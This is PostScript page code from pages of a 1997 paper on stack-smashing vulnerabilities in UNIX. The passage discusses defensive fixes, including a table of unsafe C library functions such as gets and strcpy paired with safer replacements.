0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D 6.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 7.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 7.000 0 32 (, o)W 7.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 7.000 0 32 (n )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 8.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 6.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 7.000 0 32 (. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 19.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 19.000 0 32 (h )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 18.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A 19.000 0 32 (on o)W 19.300 0 32 -0.300 0 (f )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 18.800 0 32 0.200 0 (m li)D (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 18.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S 0.200 0 (/)A (o)S 19.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 20.000 0 32 (n op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 21.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A -0.200 0 32 0.200 0 (l )D -0.200 0 (w)A (h)S 0.200 0 (il)A 0.400 0 32 -0.400 0 (e a )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A (d )S -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h )S 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A -0.100 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on o)S 1.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 1.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S 0.200 0 (/)A (o)S -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M 2.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 4.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 3.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 3.000 0 32 (. )W -0.200 0 (O)A 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.200 0 (w)A 4.000 0 32 (o b)W -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (i)A 4.400 0 32 -0.400 0 (c a)D (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h)S -0.400 0 (e)A 0.100 0 (s)A 4.000 0 32 (, )W 4.400 0 32 -0.400 0 (a )D (d)S -0.400 0 (ece)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (m)A (o)S -0.300 0 (r)A 11.400 0 32 -0.400 0 (e )D 0.200 0 (imm)A -0.400 0 (e)A (d)S 0.200 0 (i)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (l)A 14.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A (p)S -0.400 0 (e)A (n)S 0.100 0 (s)A 0.200 0 (i)A (v)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 11.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 10.800 0 32 0.200 0 (t t)D 11.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A (npo)S -0.200 0 (w)A -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 11.000 0 32 (nd )W -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (l)A (o)S -0.400 0 (a)A 11.000 0 32 (d, bu)W 10.800 0 32 0.200 0 (t )D -0.400 0 (c)A (h)S -0.400 0 (ea)A (p)S -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 12.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M 0.200 0 (l)A (on)S 10.000 0 32 -1.000 0 (g )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 8.800 0 32 0.200 0 (m )D (p)S -0.300 0 (r)A (ov)S 0.200 0 (i)A (d)S 0.200 0 (i)A (n)S 11.000 0 32 -1.000 0 (g )D 10.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 10.000 0 32 (, )W 0.200 0 (l)A (on)S 11.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (ti)A (n)S 11.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (o)S 0.200 0 (l)A (u)S 0.200 0 (ti)A 10.000 0 32 (on. )W 10.200 0 32 -0.200 0 (A )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 10.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 10.000 0 32 (h )W 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ea)A (p)S -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 10.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.100 0 (s)A (ho)S -0.300 0 (r)A 2.800 0 32 0.200 0 (t t)D -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 4.000 0 32 (, )W -0.200 0 (w)A 0.200 0 (it)A 4.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 3.800 0 32 0.200 0 (t t)D 4.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A (npo)S -0.200 0 (w)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 4.000 0 32 (nd )W -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (l)A (o)S -0.400 0 (a)A 4.000 0 32 (d, bu)W 3.800 0 32 0.200 0 (t i)D 3.900 0 32 0.100 0 (s )D (n)S -0.400 0 (ea)A 4.300 0 32 -0.300 0 (r )D 0.200 0 (im)A (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 3.800 0 32 0.200 0 (t )D -0.400 0 (a)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M -0.021 0 (long term solution.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 1921 M 0.060 0 (11.1 Program modification)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2126 M -0.100 0 (T)A 16.000 0 32 (o )W -0.400 0 (e)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A 19.000 0 32 -3.000 0 (y )D -0.300 0 (f)A 0.200 0 (i)A 15.000 0 32 1.000 0 (x )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S 17.400 0 32 -0.400 0 (e )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 16.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 17.000 0 32 (, )W 17.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D (o)S 17.300 0 32 -0.300 0 (f )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 16.900 0 32 0.100 0 (s )D -0.400 0 (ca)A 17.000 0 32 (n b)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2303 M 0.200 0 (m)A -0.400 0 (a)A (d)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 6.000 0 32 (o )W 0.200 0 (t)A (h)S 6.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A -0.300 0 (\222)A 5.900 0 32 0.100 0 (s s)D (ou)S -0.300 0 (r)A 6.400 0 32 -0.400 0 (ce c)D (od)S 6.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 6.000 0 32 (o )W -0.400 0 (a)A (vo)S 0.200 0 (i)A 6.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A 6.000 0 32 (. )W 7.000 0 32 ( )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 7.000 0 32 (d )W 6.700 0 32 0.300 0 (C )D (b)S -3.000 0 (y)A 0.200 0 (t)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2480 M -0.400 0 (c)A (op)S 10.000 0 32 -3.000 0 (y )D (o)S 7.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (on)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A (n)S -0.400 0 (a)A 0.200 0 (ti)A 7.000 0 32 (on )W -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 6.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (n )W -0.400 0 (a)A -0.300 0 (r)A 7.400 0 32 -0.400 0 (e c)D -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 6.800 0 32 0.200 0 (l i)D 7.000 0 32 (n )W 0.200 0 (m)A (o)S 0.100 0 (s)A 6.800 0 32 0.200 0 (t )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S 8.200 0 32 -0.200 0 (w )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 8.000 0 32 (. )W 8.200 0 32 -0.200 0 (A )D 0.200 0 (li)A 0.100 0 (s)A 7.800 0 32 0.200 0 (t )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2657 M (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 9.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 9.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 8.900 0 32 0.100 0 (s )D 0.200 0 (i)A 9.000 0 32 (n )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 8.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 10.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 9.000 0 32 (, )W -0.400 0 (a)A 9.000 0 32 (nd )W 0.100 0 (s)A (u)S 0.200 0 (it)A -0.400 0 (a)A (b)S 0.200 0 (l)A 10.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S 0.200 0 (l)A -0.400 0 (ace)A 0.200 0 (m)A -0.400 0 (e)A (n)S 9.800 0 32 0.200 0 (t )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2834 M -0.052 0 (\(if available\) is as follows:)A ; LH savelevel1 restore pagesave restore (%%[ Page: 21 ]%%) = %%PageTrailer %%Page: 22 22 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (22)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; 822 550 N M 3409 3209 rr : 0.569 0.569 0.569 sco O ; 776 504 N M 3400 3200 rr : 1.000 1.000 1.000 sco O ; 8 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 1027 530 3856 189 rc 0 0 0 sco (F2_168) cvn F2 168 xF F2_168 Ji 0 167 8 sSU 1209 530 M -0.944 0 (f)A -1.000 0 (u)A (n)S -0.592 0 (c)A -0.704 0 (ti)A (o)S -1.000 0 (n)A -555 sU ; : 2227 530 2656 189 rc 0 0 0 sco F2_168 Ji 0 167 8 sSU 2409 530 M -1.352 0 (s)A (u)S 0.296 0 (i)A -1.704 0 (t)A -0.592 0 (a)A (b)S 0.296 0 (l)A 1.592 0 32 -1.592 0 (e )D -0.944 0 (r)A -0.592 0 (e)A (p)S -1.704 0 (l)A -0.592 0 (ace)A -0.704 0 (m)A -0.592 0 (e)A (n)S -0.704 0 (t)A -1374 sU ; : 1317 900 3566 107 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.800 (Courier) cvn /Type1 T (Courier) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 1382 900 M (get)S -1.000 0 (s)A 1.000 0 (\()A (\))S ; : 2517 900 2366 107 rc 0 0 0 sco F5_100 Ji 2582 900 M (fge)S -1.000 0 (t)A 1.000 0 (s)A (\(\))S ; : 1317 1099 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1099 M (spr)S -1.000 0 (i)A 1.000 0 (n)A (tf\()S -1.000 0 (\))A ; : 1317 1278 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1278 M (str)S -1.000 0 (c)A 1.000 0 (a)A (t\(\))S ; : 2517 1278 2366 107 rc 0 0 0 sco F5_100 Ji 2582 1278 M (str)S -1.000 0 (n)A 1.000 0 (c)A (at\()S -1.000 0 (\))A ; : 1317 1457 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1457 M (str)S -1.000 0 (c)A 1.000 0 (p)A (y\(\))S ; : 2517 1457 2366 107 rc 0 0 0 sco F5_100 Ji 2582 1457 M (str)S -1.000 0 (n)A 1.000 0 (c)A (py\()S -1.000 0 (\))A ; : 1317 1636 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1636 M (str)S -1.000 0 (e)A 1.000 0 (a)A (dd\()S -1.000 0 (\))A ; : 1317 1815 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1815 M (str)S -1.000 0 (e)A 1.000 0 (c)A (py\()S -1.000 0 (\))A ; : 1317 1995 3566 107 rc 0 0 0 sco F5_100 Ji 1382 1995 M (str)S -1.000 0 (t)A 1.000 0 (r)A (ns\()S -1.000 0 (\))A ; : 1317 2174 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2174 M (ind)S -1.000 0 (e)A 1.000 0 (x)A (\(\))S ; : 1317 2353 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2353 M (fsc)S -1.000 0 (a)A 1.000 0 (n)A (f\(\))S ; : 1317 2532 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2532 M (sca)S -1.000 0 (n)A 1.000 0 (f)A (\(\))S ; : 1317 2711 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2711 M (ssc)S -1.000 0 (a)A 1.000 0 (n)A (f\(\))S ; : 1317 2890 3566 107 rc 0 0 0 sco F5_100 Ji 1382 2890 M (vsp)S -1.000 0 (r)A 1.000 0 (i)A (ntf)S -1.000 0 (\()A 1.000 0 (\))A ; : 1317 3069 3566 107 rc 0 0 0 sco F5_100 Ji 1382 3069 M (rea)S -1.000 0 (l)A 1.000 0 (p)A (ath)S -1.000 0 (\()A 1.000 0 (\))A ; : 1317 3249 3566 107 rc 0 0 0 sco F5_100 Ji 1382 3249 M (get)S -1.000 0 (o)A 1.000 0 (p)A (t\(\))S ; : 1317 3428 3566 107 rc 0 0 0 sco F5_100 Ji 1382 3428 M (get)S -1.000 0 (p)A 1.000 0 (a)A (ss\()S -1.000 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1851 3823 M -0.013 0 (Figure 11.1.a vulnerable functions in C)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 3970 M -2.300 0 (I)A 11.000 0 32 (n )W -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (l)A 11.000 0 32 (, )W -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 10.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 10.800 0 32 0.200 0 (t )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 11.000 0 32 (n )W 11.400 0 32 -0.400 0 (a )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 11.000 0 32 (o )W 11.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (u)S 10.800 0 32 0.200 0 (lt i)D 12.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 12.400 0 32 -0.400 0 (c )D 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 12.400 0 32 -0.400 0 (e ca)D 12.000 0 32 (n b)W 12.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 12.000 0 32 (d )W 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4147 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 9.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 10.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 10.000 0 32 (. )W -2.300 0 (I)A 10.000 0 32 (n o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 0.100 0 (s)A 10.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 10.000 0 32 (d )W 9.700 0 32 0.300 0 (C )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 10.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 9.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 9.800 0 32 0.200 0 (t )D -0.400 0 (c)A (op)S 13.000 0 32 -3.000 0 (y )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S -1.000 0 (g)A 9.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A (hou)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4324 M -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 31.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.200 0 (i)A 30.300 0 32 -0.300 0 (r )D 0.200 0 (l)A -0.400 0 (e)A (n)S -1.000 0 (g)A 0.200 0 (t)A 30.000 0 32 (h )W -0.400 0 (a)A -0.300 0 (r)A 30.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A -0.400 0 (e)A 30.000 0 32 (. )W 0.400 0 (S)A (o)S 0.200 0 (m)A 30.400 0 32 -0.400 0 (e )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 30.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 30.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 31.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (u)S 0.200 0 (it)A -0.400 0 (a)A (b)S 0.200 0 (l)A 31.400 0 32 -0.400 0 (e )D -0.300 0 (\221)A (d)S -0.300 0 (r)A 31.000 0 32 (op )W 0.200 0 (i)A (n)S -0.300 0 (\222)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4501 M -0.300 0 (r)A -0.400 0 (e)A (p)S 0.200 0 (l)A -0.400 0 (ace)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 0.100 0 (s)A 9.000 0 32 (, o)W 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 9.900 0 32 0.100 0 (s )D 10.000 0 32 (do no)W 0.200 0 (t)A 10.000 0 32 (. )W 0.600 0 (W)A (h)S -0.400 0 (e)A (n)S -0.400 0 (e)A (v)S -0.400 0 (e)A 10.300 0 32 -0.300 0 (r )D (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A -0.400 0 (e)A 10.000 0 32 (, )W -0.400 0 (a)A 0.200 0 (lt)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (a)A 0.200 0 (ti)A (v)S 10.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 9.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 9.800 0 32 0.200 0 (t )D (b)S 10.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 10.000 0 32 (d )W 0.200 0 (t)A 10.000 0 32 (o h)W -0.400 0 (e)A 0.200 0 (l)A (p)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4678 M 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 5.000 0 32 (d )W -0.400 0 (c)A (od)S 5.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D (no)S 4.800 0 32 0.200 0 (t )D 0.100 0 (s)A (u)S 0.100 0 (s)A -0.400 0 (ce)A (p)S 0.200 0 (ti)A (b)S 0.200 0 (l)A 5.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 5.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 5.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 0.100 0 (s)A 5.000 0 32 (. )W -2.300 0 (I)A 5.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A 5.000 0 32 (on )W 0.200 0 (t)A 5.000 0 32 (o u)W 0.100 0 (s)A 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4855 M 0.100 0 (s)A (u)S 0.200 0 (it)A -0.400 0 (a)A (b)S 0.200 0 (l)A 26.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (p)S 0.200 0 (l)A -0.400 0 (ace)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A 25.900 0 32 0.100 0 (s )D -0.300 0 (f)A (o)S 27.300 0 32 -0.300 0 (r )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 27.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 0.100 0 (s)A 27.000 0 32 (, )W 0.100 0 (s)A (h)S -0.400 0 (e)A 26.800 0 32 0.200 0 (ll )D -0.400 0 (e)A (nv)S 0.200 0 (i)A -0.300 0 (r)A (on)S 0.200 0 (m)A -0.400 0 (e)A (n)S 26.800 0 32 0.200 0 (t )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 26.900 0 32 0.100 0 (s )D -0.400 0 (a)A 27.000 0 32 (nd )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ce)A 0.100 0 (ss)A 0.200 0 (i)A (v)S -0.400 0 (e)A ; : 0 0 